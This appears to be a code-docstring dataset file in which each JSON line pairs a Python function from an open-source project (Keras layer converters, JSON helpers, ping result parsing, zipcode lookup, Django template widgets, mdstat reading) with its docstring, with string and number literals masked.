{"signature": "def convert_reduce_sum(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>keepdims = params['<STR_LIT>'] > <NUM_LIT:0><EOL>axis = params['<STR_LIT>']<EOL>def target_layer(x, keepdims=keepdims, axis=axis):<EOL><INDENT>import keras.backend as K<EOL>return K.sum(x, keepdims=keepdims, axis=axis)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert reduce_sum layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5039:m1"}
{"signature": "def convert_concat(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>concat_nodes = [layers[i] for i in inputs]<EOL>if len(concat_nodes) == <NUM_LIT:1>:<EOL><INDENT>layers[scope_name] = concat_nodes[<NUM_LIT:0>]<EOL>return<EOL><DEDENT>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:5>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>cat = keras.layers.Concatenate(name=tf_name, axis=params['<STR_LIT>'])<EOL>layers[scope_name] = cat(concat_nodes)<EOL>", "docstring": "Convert concatenation.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5039:m2"}
{"signature": "def convert_slice(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if len(params['<STR_LIT>']) > <NUM_LIT:1>:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if params['<STR_LIT>'][<NUM_LIT:0>] not in [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>]:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>def target_layer(x, axis=int(params['<STR_LIT>'][<NUM_LIT:0>]), start=int(params['<STR_LIT>'][<NUM_LIT:0>]), end=int(params['<STR_LIT>'][<NUM_LIT:0>])):<EOL><INDENT>if axis == <NUM_LIT:0>:<EOL><INDENT>return x[start:end]<EOL><DEDENT>elif axis == <NUM_LIT:1>:<EOL><INDENT>return x[:, start:end]<EOL><DEDENT>elif axis == <NUM_LIT:2>:<EOL><INDENT>return x[:, :, start:end]<EOL><DEDENT>elif axis == <NUM_LIT:3>:<EOL><INDENT>return x[:, :, :, start:end]<EOL><DEDENT><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert slice operation.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5039:m3"}
{"signature": "def convert_clip(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if params['<STR_LIT>'] == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\".format(params['<STR_LIT>']))<EOL>layer = keras.layers.ReLU(max_value=params['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>def target_layer(x, vmin=params['<STR_LIT>'], vmax=params['<STR_LIT>']):<EOL><INDENT>import tensorflow as tf<EOL>return tf.clip_by_value(x, vmin, vmax)<EOL><DEDENT>layer = keras.layers.Lambda(target_layer)<EOL><DEDENT>layers[scope_name] = layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert clip operation.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5039:m4"}
{"signature": "def assert_json_type(value: JsonValue, expected_type: JsonCheckType) -> None:", "body": "def type_name(t: Union[JsonCheckType, Type[None]]) -> str:<EOL><INDENT>if t is None:<EOL><INDENT>return \"<STR_LIT:None>\"<EOL><DEDENT>if isinstance(t, JList):<EOL><INDENT>return \"<STR_LIT:list>\"<EOL><DEDENT>return t.__name__<EOL><DEDENT>if expected_type is None:<EOL><INDENT>if value is None:<EOL><INDENT>return<EOL><DEDENT><DEDENT>elif expected_type == float:<EOL><INDENT>if isinstance(value, float) or isinstance(value, int):<EOL><INDENT>return<EOL><DEDENT><DEDENT>elif expected_type in [str, int, bool, list, dict]:<EOL><INDENT>if isinstance(value, expected_type):  <EOL><INDENT>return<EOL><DEDENT><DEDENT>elif isinstance(expected_type, JList):<EOL><INDENT>if isinstance(value, list):<EOL><INDENT>for v in value:<EOL><INDENT>assert_json_type(v, expected_type.value_type)<EOL><DEDENT>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>raise TypeError(\"<STR_LIT>\".format(<EOL>type_name(expected_type), type_name(type(value))))<EOL>", "docstring": "Check that a value has a certain JSON type.\n\n    Raise TypeError if the type does not match.\n\n    Supported types: str, int, float, bool, list, dict, and None.\n    float will match any number, int will only match numbers without\n    fractional part.\n\n    The special type JList(x) will match a list value where each\n    item is of type x:\n\n    >>> assert_json_type([1, 2, 3], JList(int))", "id": "f5042:m0"}
{"signature": "def json_get(json: JsonValue, path: str, expected_type: Any = ANY) -> Any:", "body": "elements = _parse_json_path(path)<EOL>current = json<EOL>current_path = \"<STR_LIT>\"<EOL>for i, element in enumerate(elements):<EOL><INDENT>if isinstance(element, str):<EOL><INDENT>if not isinstance(current, dict):<EOL><INDENT>msg = \"<STR_LIT>\".format(current_path)<EOL>raise TypeError(msg) from None<EOL><DEDENT>if element not in current:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(path))<EOL><DEDENT>current_path += \"<STR_LIT:/>\" + element<EOL>current = current[element]<EOL><DEDENT>else:<EOL><INDENT>if not isinstance(current, list):<EOL><INDENT>msg = \"<STR_LIT>\".format(current_path)<EOL>raise TypeError(msg) from None<EOL><DEDENT>if element >= len(current):<EOL><INDENT>msg = \"<STR_LIT>\".format(<EOL>current_path, len(current), element)<EOL>raise IndexError(msg)<EOL><DEDENT>current_path += \"<STR_LIT>\".format(i)<EOL>current = current[element]<EOL><DEDENT><DEDENT>if expected_type != ANY:<EOL><INDENT>assert_json_type(current, cast(JsonType, expected_type))<EOL><DEDENT>return current<EOL>", "docstring": "Get a JSON value by path, optionally checking its type.\n\n    >>> j = {\"foo\": {\"num\": 3.4, \"s\": \"Text\"}, \"arr\": [10, 20, 30]}\n    >>> json_get(j, \"/foo/num\")\n    3.4\n    >>> json_get(j, \"/arr[1]\")\n    20\n\n    Raise ValueError if the path is not found:\n\n    >>> json_get(j, \"/foo/unknown\")\n    Traceback (most recent call last):\n        ...\n    ValueError: JSON path '/foo/unknown' not found\n\n    Raise TypeError if the path contains a non-object element:\n\n    >>> json_get(j, \"/foo/num/bar\")\n    Traceback (most recent call last):\n        ...\n    TypeError: JSON path '/foo/num' is not an object\n\n    Or a non-array element:\n\n    >>> json_get(j, \"/foo[2]\")\n    Traceback (most recent call last):\n        ...\n    TypeError: JSON path '/foo' is not an array\n\n    Raise an IndexError if the array index is out of bounds:\n\n    >>> json_get(j, \"/arr[10]\")\n    Traceback (most recent call last):\n        ...\n    IndexError: JSON array '/arr' too small (3 <= 10)\n\n    Recognized types are: str, int, float, bool, list, dict, and None.\n    TypeError is raised if the type does not match.\n\n    >>> json_get(j, \"/foo/num\", str)\n    Traceback (most recent call last):\n        ...\n    TypeError: wrong JSON type str != float\n\n    float will match any number, int will only match numbers without a\n    fractional part.\n\n    >>> json_get(j, \"/foo/num\", float)\n    3.4\n    >>> json_get(j, \"/foo/num\", int)\n    Traceback (most recent call last):\n        ...\n    TypeError: wrong JSON type int != float", "id": "f5042:m8"}
{"signature": "def json_get_default(json: JsonValue, path: str,<EOL>default: Any, expected_type: Any = ANY) -> Any:", "body": "try:<EOL><INDENT>return json_get(json, path, expected_type)<EOL><DEDENT>except (ValueError, IndexError):<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Get a JSON value by path, optionally checking its type.\n\n    This works exactly like json_get(), but instead of raising\n    ValueError or IndexError when a path part is not found, return\n    the provided default value:\n\n    >>> json_get_default({}, \"/foo\", \"I am a default value\")\n    'I am a default value'\n\n    TypeErrors will be raised as in json_get() if an expected_type\n    is provided:\n\n    >>> json_get_default({\"foo\": \"bar\"}, \"/foo\", 123, int)\n    Traceback (most recent call last):\n        ...\n    TypeError: wrong JSON type int != str", "id": "f5042:m20"}
{"signature": "@property<EOL><INDENT>def timeout(self):<DEDENT>", "body": "return self.__timeout<EOL>", "docstring": "Time to wait for a response per packet.\nYou can specify either a number or a string (e.g. ``\"1sec\"``).\nIf a number is specified, the unit will be considered as milliseconds.\n\n    +------------+----------------------------------------------------------+\n    |    Unit    |                Available specifiers (str)                |\n    +============+==========================================================+\n    |days        |``d``/``day``/``days``                                    |\n    +------------+----------------------------------------------------------+\n    |hours       |``h``/``hour``/``hours``                                  |\n    +------------+----------------------------------------------------------+\n    |minutes     |``m``/``min``/``mins``/``minute``/``minutes``             |\n    +------------+----------------------------------------------------------+\n    |seconds     |``s``/``sec``/``secs``/``second``/``seconds``             |\n    +------------+----------------------------------------------------------+\n    |milliseconds|``ms``/``msec``/``msecs``/``millisecond``/``milliseconds``|\n    +------------+----------------------------------------------------------+\n    |microseconds|``us``/``usec``/``usecs``/``microsecond``/``microseconds``|\n    +------------+----------------------------------------------------------+\n\nUse system default timeout if the value is |None|.\nDefaults to |None|.\nIf the system does not support timeout in milliseconds, round up as seconds.\n\nReturns:\n    humanreadable.Time: timeout", "id": "f5047:c1:m0"}
{"signature": "@property<EOL><INDENT>def deadline(self):<DEDENT>", "body": "return self.__deadline<EOL>", "docstring": "Timeout before ping exits.\nYou can specify either a number or a string (e.g. ``\"1sec\"``).\nIf both :py:attr:`~.deadline` and :py:attr:`~.count` are |None|,\nIf a number is specified, the unit will be considered as seconds.\n\n    +------------+----------------------------------------------------------+\n    |    Unit    |                Available specifiers (str)                |\n    +============+==========================================================+\n    |days        |``d``/``day``/``days``                                    |\n    +------------+----------------------------------------------------------+\n    |hours       |``h``/``hour``/``hours``                                  |\n    +------------+----------------------------------------------------------+\n    |minutes     |``m``/``min``/``mins``/``minute``/``minutes``             |\n    +------------+----------------------------------------------------------+\n    |seconds     |``s``/``sec``/``secs``/``second``/``seconds``             |\n    +------------+----------------------------------------------------------+\n    |milliseconds|``ms``/``msec``/``msecs``/``millisecond``/``milliseconds``|\n    +------------+----------------------------------------------------------+\n    |microseconds|``us``/``usec``/``usecs``/``microsecond``/``microseconds``|\n    +------------+----------------------------------------------------------+\n\n:py:attr:`~.deadline` automatically set to the default value (``3 seconds``).\nDefaults to |None|.\n\nReturns:\n    humanreadable.Time: deadline", "id": "f5047:c1:m2"}
{"signature": "def ping(self):", "body": "self.__validate_ping_param()<EOL>ping_proc = subprocrunner.SubprocessRunner(self.__get_ping_command())<EOL>ping_proc.run()<EOL>return PingResult(ping_proc.stdout, ping_proc.stderr, ping_proc.returncode)<EOL>", "docstring": "Sending ICMP packets.\n\n:return: ``ping`` command execution result.\n:rtype: :py:class:`.PingResult`\n:raises ValueError: If parameters not valid.", "id": "f5047:c1:m7"}
{"signature": "@property<EOL><INDENT>def destination(self):<DEDENT>", "body": "return self.__destination<EOL>", "docstring": "The ping destination.\n\nReturns:\n    |str|:", "id": "f5050:c0:m1"}
{"signature": "@property<EOL><INDENT>def packet_transmit(self):<DEDENT>", "body": "return self.__packet_transmit<EOL>", "docstring": "Number of packets transmitted.\n\nReturns:\n    |int|:", "id": "f5050:c0:m2"}
{"signature": "@property<EOL><INDENT>def packet_receive(self):<DEDENT>", "body": "return self.__packet_receive<EOL>", "docstring": "Number of packets received.\n\nReturns:\n    |int|:", "id": "f5050:c0:m3"}
{"signature": "@property<EOL><INDENT>def packet_loss_count(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.packet_transmit - self.packet_receive<EOL><DEDENT>except TypeError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Number of packet losses.\n\nReturns:\n    |int|: |None| if the value is not a number.", "id": "f5050:c0:m4"}
{"signature": "@property<EOL><INDENT>def packet_loss_rate(self):<DEDENT>", "body": "try:<EOL><INDENT>return (self.packet_loss_count / self.packet_transmit) * <NUM_LIT:100><EOL><DEDENT>except (TypeError, ZeroDivisionError, OverflowError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Percentage of packet loss |percent_unit|.\n\nReturns:\n    |float|: |None| if the value is not a number.", "id": "f5050:c0:m5"}
{"signature": "@property<EOL><INDENT>def rtt_min(self):<DEDENT>", "body": "return self.__rtt_min<EOL>", "docstring": "Minimum round trip time of transmitted ICMP packets |msec_unit|.\n\nReturns:\n    |float|:", "id": "f5050:c0:m6"}
{"signature": "@property<EOL><INDENT>def rtt_avg(self):<DEDENT>", "body": "return self.__rtt_avg<EOL>", "docstring": "Average round trip time of transmitted ICMP packets |msec_unit|.\n\nReturns:\n    |float|:", "id": "f5050:c0:m7"}
{"signature": "@property<EOL><INDENT>def rtt_max(self):<DEDENT>", "body": "return self.__rtt_max<EOL>", "docstring": "Maximum round trip time of transmitted ICMP packets |msec_unit|.\n\nReturns:\n    |float|:", "id": "f5050:c0:m8"}
{"signature": "@property<EOL><INDENT>def rtt_mdev(self):<DEDENT>", "body": "return self.__rtt_mdev<EOL>", "docstring": "Standard deviation of transmitted ICMP packets.\n\nReturns:\n    |float|: |None| when parsing Windows ping result.", "id": "f5050:c0:m9"}
{"signature": "@property<EOL><INDENT>def packet_duplicate_count(self):<DEDENT>", "body": "return self.__duplicates<EOL>", "docstring": "Number of duplicated packets.\n\nReturns:\n    |int|: |None| when parsing Windows ping result.", "id": "f5050:c0:m10"}
{"signature": "@property<EOL><INDENT>def packet_duplicate_rate(self):<DEDENT>", "body": "try:<EOL><INDENT>return (self.packet_duplicate_count / self.packet_receive) * <NUM_LIT:100><EOL><DEDENT>except (TypeError, ZeroDivisionError, OverflowError):<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Percentage of duplicated packets |percent_unit|.\n\nReturns:\n    |float|: |None| if the value is not a number.", "id": "f5050:c0:m11"}
{"signature": "@property<EOL><INDENT>def icmp_replies(self):<DEDENT>", "body": "return self.__icmp_replies<EOL>", "docstring": "ICMP packet reply information.\n\nReturns:\n    |list| of |dict|:", "id": "f5050:c0:m12"}
{"signature": "def as_dict(self):", "body": "return {<EOL>\"<STR_LIT>\": self.destination,<EOL>\"<STR_LIT>\": self.packet_transmit,<EOL>\"<STR_LIT>\": self.packet_receive,<EOL>\"<STR_LIT>\": self.packet_loss_count,<EOL>\"<STR_LIT>\": self.packet_loss_rate,<EOL>\"<STR_LIT>\": self.rtt_min,<EOL>\"<STR_LIT>\": self.rtt_avg,<EOL>\"<STR_LIT>\": self.rtt_max,<EOL>\"<STR_LIT>\": self.rtt_mdev,<EOL>\"<STR_LIT>\": self.packet_duplicate_count,<EOL>\"<STR_LIT>\": self.packet_duplicate_rate,<EOL>}<EOL>", "docstring": "ping statistics.\n\nReturns:\n    |dict|:\n\nExamples:\n    >>> import pingparsing\n    >>> parser = pingparsing.PingParsing()\n    >>> parser.parse(ping_result)\n    >>> parser.as_dict()\n    {\n        \"destination\": \"google.com\",\n        \"packet_transmit\": 60,\n        \"packet_receive\": 60,\n        \"packet_loss_rate\": 0.0,\n        \"packet_loss_count\": 0,\n        \"rtt_min\": 61.425,\n        \"rtt_avg\": 99.731,\n        \"rtt_max\": 212.597,\n        \"rtt_mdev\": 27.566,\n        \"packet_duplicate_rate\": 0.0,\n        \"packet_duplicate_count\": 0\n    }", "id": "f5050:c0:m14"}
{"signature": "def as_tuple(self):", "body": "from collections import namedtuple<EOL>ping_result = self.as_dict()<EOL>return namedtuple(\"<STR_LIT>\", ping_result.keys())(**ping_result)<EOL>", "docstring": "ping statistics.\n\nReturns:\n    |namedtuple|:\n\nExamples:\n    >>> import pingparsing\n    >>> parser = pingparsing.PingParsing()\n    >>> parser.parse(ping_result)\n    >>> parser.as_tuple()\n    PingResult(destination='google.com', packet_transmit=60, packet_receive=60, packet_loss_rate=0.0, packet_loss_count=0, rtt_min=61.425, rtt_avg=99.731, rtt_max=212.597, rtt_mdev=27.566, packet_duplicate_rate=0.0, packet_duplicate_count=0)", "id": "f5050:c0:m15"}
{"signature": "def set_log_level(log_level):", "body": "<EOL>logbook.get_level_name(log_level)<EOL>if log_level == logger.level:<EOL><INDENT>return<EOL><DEDENT>if log_level == logbook.NOTSET:<EOL><INDENT>set_logger(is_enable=False)<EOL><DEDENT>else:<EOL><INDENT>set_logger(is_enable=True)<EOL><DEDENT>logger.level = log_level<EOL>subprocrunner.set_log_level(log_level)<EOL>", "docstring": "Set logging level of this module. The module using\n`logbook <https://logbook.readthedocs.io/en/stable/>`__ module for logging.\n\n:param int log_level:\n    One of the log level of the\n    `logbook <https://logbook.readthedocs.io/en/stable/api/base.html>`__.\n    Disabled logging if the ``log_level`` is ``logbook.NOTSET``.\n:raises LookupError: If ``log_level`` is an invalid value.", "id": "f5053:m1"}
{"signature": "def parse(self, ping_message):", "body": "try:<EOL><INDENT>if typepy.is_not_null_string(ping_message.stdout):<EOL><INDENT>ping_message = ping_message.stdout<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(ping_message))<EOL>self.__parser = NullPingParser()<EOL>if typepy.is_null_string(ping_message):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.__stats = PingStats()<EOL>return self.__stats<EOL><DEDENT>ping_lines = _to_unicode(ping_message).splitlines()<EOL>parser_class_list = (<EOL>LinuxPingParser,<EOL>WindowsPingParser,<EOL>MacOsPingParser,<EOL>AlpineLinuxPingParser,<EOL>)<EOL>for parser_class in parser_class_list:<EOL><INDENT>self.__parser = parser_class()<EOL>try:<EOL><INDENT>self.__stats = self.__parser.parse(ping_lines)<EOL>return self.__stats<EOL><DEDENT>except ParseError as e:<EOL><INDENT>if e.reason != ParseErrorReason.HEADER_NOT_FOUND:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>except pp.ParseException:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>self.__parser = NullPingParser()<EOL>return self.__stats<EOL>", "docstring": "Parse ping command output.\n\nArgs:\n    ping_message (str or :py:class:`~pingparsing.PingResult`):\n        ``ping`` command output.\n\nReturns:\n    :py:class:`~pingparsing.PingStats`: Parsed result.", "id": "f5054:c0:m17"}
{"signature": "def _clean(zipcode, valid_length=_valid_zipcode_length):", "body": "zipcode = zipcode.split(\"<STR_LIT:->\")[<NUM_LIT:0>]  <EOL>if len(zipcode) != valid_length:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if _contains_nondigits(zipcode):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return zipcode<EOL>", "docstring": "Assumes zipcode is of type `str`", "id": "f5071:m2"}
{"signature": "@_clean_zipcode<EOL>def matching(zipcode, zips=_zips):", "body": "return [z for z in zips if z[\"<STR_LIT>\"] == zipcode]<EOL>", "docstring": "Retrieve zipcode dict for provided zipcode", "id": "f5071:m3"}
{"signature": "@_clean_zipcode<EOL>def is_real(zipcode):", "body": "return bool(matching(zipcode))<EOL>", "docstring": "Determine whether a given zip or zip+4 zipcode is real.", "id": "f5071:m5"}
{"signature": "@_clean_zipcode<EOL>def similar_to(partial_zipcode, zips=_zips):", "body": "return [z for z in zips if z[\"<STR_LIT>\"].startswith(partial_zipcode)]<EOL>", "docstring": "List of zipcode dicts where zipcode prefix matches `partial_zipcode`", "id": "f5071:m6"}
{"signature": "def filter_by(zips=_zips, **kwargs):", "body": "return [z for z in zips if all([k in z and z[k] == v for k, v in kwargs.items()])]<EOL>", "docstring": "Use `kwargs` to select for desired attributes from list of zipcode dicts", "id": "f5071:m7"}
{"signature": "def list_all(zips=_zips):", "body": "return zips<EOL>", "docstring": "Return a list containing all zip-code objects.", "id": "f5071:m8"}
{"signature": "def template_dirs(*relative_dirs):", "body": "<EOL>TEMPLATES = copy.deepcopy(settings.TEMPLATES)<EOL>for tpl_cfg in TEMPLATES:<EOL><INDENT>tpl_cfg['<STR_LIT>'] = [template_path(rel_dir) for rel_dir in relative_dirs]<EOL><DEDENT>return override_settings(TEMPLATES=TEMPLATES)<EOL>", "docstring": "Convenient decorator to specify the template path.", "id": "f5081:m1"}
{"signature": "def resolve_blocks(template, context):", "body": "try:<EOL><INDENT>blocks = context.render_context[BLOCK_CONTEXT_KEY]<EOL><DEDENT>except KeyError:<EOL><INDENT>blocks = context.render_context[BLOCK_CONTEXT_KEY] = BlockContext()<EOL><DEDENT>if isinstance(template, six.string_types):<EOL><INDENT>template = get_template(template)<EOL><DEDENT>template = getattr(template, '<STR_LIT>', template)<EOL>local_blocks = {<EOL>block.name: block<EOL>for block in template.nodelist.get_nodes_by_type(BlockNode)<EOL>}<EOL>blocks.add_blocks(local_blocks)<EOL>extends = template.nodelist.get_nodes_by_type(ExtendsNode)<EOL>if extends:<EOL><INDENT>extends_node = extends[<NUM_LIT:0>]<EOL>parent_template = extends_node.get_parent(context)<EOL>resolve_blocks(parent_template, context)<EOL><DEDENT>return blocks<EOL>", "docstring": "Return a BlockContext instance of all the {% block %} tags in the template.\n\nIf template is a string, it will be resolved through get_template", "id": "f5083:m0"}
{"signature": "def parse_widget_name(widget):", "body": "try:<EOL><INDENT>alias, block_name = widget.split('<STR_LIT::>', <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise template.TemplateSyntaxError('<STR_LIT>' % widget)<EOL><DEDENT>return alias, block_name<EOL>", "docstring": "Parse a alias:block_name string into separate parts.", "id": "f5083:m1"}
{"signature": "@contextmanager<EOL>def using(context, alias):", "body": "<EOL>if alias == '<STR_LIT>':<EOL><INDENT>yield context<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>widgets = context.render_context[WIDGET_CONTEXT_KEY]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise template.TemplateSyntaxError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>block_set = widgets[alias]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise template.TemplateSyntaxError('<STR_LIT>' % alias)<EOL><DEDENT>context.render_context.push()<EOL>context.render_context[BLOCK_CONTEXT_KEY] = block_set<EOL>context.render_context[WIDGET_CONTEXT_KEY] = widgets<EOL>yield context<EOL>context.render_context.pop()<EOL><DEDENT>", "docstring": "Temporarily update the context to use the BlockContext for the given alias.", "id": "f5083:m2"}
{"signature": "def find_block(context, *names):", "body": "block_set = context.render_context[BLOCK_CONTEXT_KEY]<EOL>for name in names:<EOL><INDENT>block = block_set.get_block(name)<EOL>if block is not None:<EOL><INDENT>return block<EOL><DEDENT><DEDENT>raise template.TemplateSyntaxError('<STR_LIT>' % (names,))<EOL>", "docstring": "Find the first matching block in the current block_context", "id": "f5083:m3"}
{"signature": "@register.simple_tag(takes_context=True)<EOL>def load_widgets(context, **kwargs):", "body": "_soft = kwargs.pop('<STR_LIT>', False)<EOL>try:<EOL><INDENT>widgets = context.render_context[WIDGET_CONTEXT_KEY]<EOL><DEDENT>except KeyError:<EOL><INDENT>widgets = context.render_context[WIDGET_CONTEXT_KEY] = {}<EOL><DEDENT>for alias, template_name in kwargs.items():<EOL><INDENT>if _soft and alias in widgets:<EOL><INDENT>continue<EOL><DEDENT>with context.render_context.push({BLOCK_CONTEXT_KEY: BlockContext()}):<EOL><INDENT>blocks = resolve_blocks(template_name, context)<EOL>widgets[alias] = blocks<EOL><DEDENT><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Load a series of widget libraries.", "id": "f5083:m4"}
{"signature": "def auto_widget(field):", "body": "<EOL>info = {<EOL>'<STR_LIT>': field.field.widget.__class__.__name__,<EOL>'<STR_LIT>': field.field.__class__.__name__,<EOL>'<STR_LIT:name>': field.name,<EOL>}<EOL>return [<EOL>fmt.format(**info)<EOL>for fmt in (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>)<EOL>]<EOL>", "docstring": "Return a list of widget names for the provided field.", "id": "f5083:m9"}
{"signature": "@register.simple_tag(takes_context=True)<EOL>def reuse(context, block_list, **kwargs):", "body": "try:<EOL><INDENT>block_context = context.render_context[BLOCK_CONTEXT_KEY]<EOL><DEDENT>except KeyError:<EOL><INDENT>block_context = BlockContext()<EOL><DEDENT>if not isinstance(block_list, (list, tuple)):<EOL><INDENT>block_list = [block_list]<EOL><DEDENT>for block in block_list:<EOL><INDENT>block = block_context.get_block(block)<EOL>if block:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>with context.push(kwargs):<EOL><INDENT>return block.render(context)<EOL><DEDENT>", "docstring": "Allow reuse of a block within a template.\n\n{% reuse '_myblock' foo=bar %}\n\nIf passed a list of block names, will use the first that matches:\n\n{% reuse list_of_block_names .... %}", "id": "f5083:m11"}
{"signature": "@property<EOL><INDENT>def display(self):<DEDENT>", "body": "if not self.is_group():<EOL><INDENT>return self._display<EOL><DEDENT>return ((force_text(k), v) for k, v in self._display)<EOL>", "docstring": "When dealing with optgroups, ensure that the value is properly force_text'd.", "id": "f5083:c2:m5"}
{"signature": "def __contains__(self, key):", "body": "return key in self.keys() or hasattr(self, key)<EOL>", "docstring": "Context uses 'if key in ...'", "id": "f5083:c3:m1"}
{"signature": "@cached_property<EOL><INDENT>def display(self):<DEDENT>", "body": "return dict(self.choices).get(self.value, '<STR_LIT>')<EOL>", "docstring": "Display value for selected choice.", "id": "f5083:c3:m6"}
{"signature": "@cached_property<EOL><INDENT>def raw_value(self):<DEDENT>", "body": "raw_value = super(NullBooleanFieldExtractor, self).raw_value<EOL>if raw_value is None:<EOL><INDENT>return '<STR_LIT:1>'<EOL><DEDENT>return raw_value<EOL>", "docstring": "When the value is None, it's actually rendered as '1', see\n``django.forms.widgets.NullBooleanSelect.render``", "id": "f5083:c6:m0"}
{"signature": "@cached_property<EOL><INDENT>def value(self):<DEDENT>", "body": "try:<EOL><INDENT>return {True: '<STR_LIT:2>', False: '<STR_LIT:3>', '<STR_LIT:2>': '<STR_LIT:2>', '<STR_LIT:3>': '<STR_LIT:3>'}[self.raw_value]<EOL><DEDENT>except KeyError:<EOL><INDENT>return '<STR_LIT:1>'<EOL><DEDENT>", "docstring": "Maps True/False and 2/3 to the correct stringified version.\n\nSee ``django.forms.widgets.NullBooleanSelect.render``.", "id": "f5083:c6:m1"}
{"signature": "def __str__(self):", "body": "return self.content<EOL>", "docstring": "Return the content of the file.", "id": "f5087:c0:m1"}
{"signature": "def __repr__(self):", "body": "return self.content<EOL>", "docstring": "Return the content of the file.", "id": "f5087:c0:m2"}
{"signature": "def get_path(self):", "body": "return self.path<EOL>", "docstring": "Return the mdstat file path.", "id": "f5087:c0:m3"}
{"signature": "def get_stats(self):", "body": "return self.stats<EOL>", "docstring": "Return the stats.", "id": "f5087:c0:m4"}
{"signature": "def personalities(self):", "body": "return self.get_stats()['<STR_LIT>']<EOL>", "docstring": "Return the personalities (list).", "id": "f5087:c0:m5"}
{"signature": "def arrays(self):", "body": "return self.get_stats()['<STR_LIT>'].keys()<EOL>", "docstring": "Return the arrays (list).", "id": "f5087:c0:m6"}
{"signature": "def type(self, array):", "body": "return self.get_stats()['<STR_LIT>'][array]['<STR_LIT:type>']<EOL>", "docstring": "Return the array's type.", "id": "f5087:c0:m7"}
{"signature": "def status(self, array):", "body": "return self.get_stats()['<STR_LIT>'][array]['<STR_LIT:status>']<EOL>", "docstring": "Return the array's status.", "id": "f5087:c0:m8"}
{"signature": "def components(self, array):", "body": "return self.get_stats()['<STR_LIT>'][array]['<STR_LIT>'].keys()<EOL>", "docstring": "Return the components of the arrays (list).", "id": "f5087:c0:m9"}
{"signature": "def available(self, array):", "body": "return int(self.get_stats()['<STR_LIT>'][array]['<STR_LIT>'])<EOL>", "docstring": "Return the array's available components number.", "id": "f5087:c0:m10"}
{"signature": "def used(self, array):", "body": "return int(self.get_stats()['<STR_LIT>'][array]['<STR_LIT>'])<EOL>", "docstring": "Return the array's used components number.", "id": "f5087:c0:m11"}
{"signature": "def config(self, array):", "body": "return self.get_stats()['<STR_LIT>'][array]['<STR_LIT>']<EOL>", "docstring": "Return the array's config/status.\n\n        U mean OK\n        _ mean Failed", "id": "f5087:c0:m12"}
{"signature": "def load(self):", "body": "ret = {}<EOL>with open(self.get_path(), '<STR_LIT:r>') as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>ret['<STR_LIT>'] = self.get_personalities(lines[<NUM_LIT:0>])<EOL>ret['<STR_LIT>'] = self.get_arrays(lines[<NUM_LIT:1>:-<NUM_LIT:1>], ret['<STR_LIT>'])<EOL>self.content = reduce(lambda x, y: x + y, lines)<EOL>return ret<EOL>", "docstring": "Return a dict of stats.", "id": "f5087:c0:m13"}
